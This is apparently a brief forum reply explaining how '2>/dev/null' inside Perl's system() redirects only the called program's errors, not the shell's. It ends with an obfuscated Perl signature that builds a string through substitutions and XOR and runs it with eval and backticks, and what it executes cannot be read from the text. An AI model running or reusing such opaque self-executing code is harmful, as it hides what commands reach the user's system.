I guess
system("something 2>/dev/null") should redirect the error output of "something". Not that of the shell calling "something" So I would expect the error to be displayed when "something" isn't available (the error is produced by the shell) and to be suppressed when "something" is available, but produces an error.
s$$([},&%#}/&/]+}%&{})*;#$&&s&&$^X.($'^"%]=\&(|?*{%
+.+=%;.#_}\&"^"-+%*).}%:##%}={~=~:.")&e&&s""`$''`"e